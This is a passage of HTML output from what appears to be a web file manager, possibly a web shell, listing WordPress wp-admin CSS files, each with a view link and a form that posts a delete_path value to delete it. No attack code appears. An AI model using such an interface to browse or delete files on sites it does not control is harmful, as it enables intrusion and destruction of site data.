                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus.css"> customize-nav-menus.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-nav-menus.min.css"> customize-nav-menus.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-nav-menus.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets-rtl.css"> customize-widgets-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets-rtl.min.css"> customize-widgets-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets.css"> customize-widgets.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcustomize-widgets.min.css"> customize-widgets.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/customize-widgets.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard-rtl.css"> dashboard-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard-rtl.min.css"> dashboard-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard.css"> dashboard.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdashboard.min.css"> dashboard.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/dashboard.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media-rtl.css"> deprecated-media-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media-rtl.min.css"> deprecated-media-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media.css"> deprecated-media.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fdeprecated-media.min.css"> deprecated-media.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/deprecated-media.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit-rtl.css"> edit-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit-rtl.min.css"> edit-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit.css"> edit.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fedit.min.css"> edit.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/edit.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic-rtl.css"> farbtastic-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic-rtl.min.css"> farbtastic-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic.css"> farbtastic.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Ffarbtastic.min.css"> farbtastic.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/farbtastic.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms-rtl.css"> forms-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms-rtl.min.css"> forms-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms.css"> forms.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fforms.min.css"> forms.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/forms.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall-rtl.css"> install-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall-rtl.min.css"> install-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall.css"> install.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall.min.css"> install.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n-rtl.css"> l10n-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n-rtl.min.css"> l10n-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n.css"> l10n.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n.min.css"> l10n.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables-rtl.css"> list-tables-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables-rtl.min.css"> list-tables-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables.css"> list-tables.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables.min.css"> list-tables.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin-rtl.css"> login-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin-rtl.min.css"> login-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin.css"> login.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin.min.css"> login.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia-rtl.css"> media-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia-rtl.min.css"> media-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia.css"> media.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia.min.css"> media.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus-rtl.css"> nav-menus-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus-rtl.min.css"> nav-menus-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus.css"> nav-menus.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus.min.css"> nav-menus.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions-rtl.css"> revisions-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions-rtl.min.css"> revisions-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions.css"> revisions.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions.min.css"> revisions.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health-rtl.css"> site-health-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health-rtl.min.css"> site-health-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health.css"> site-health.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health.min.css"> site-health.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
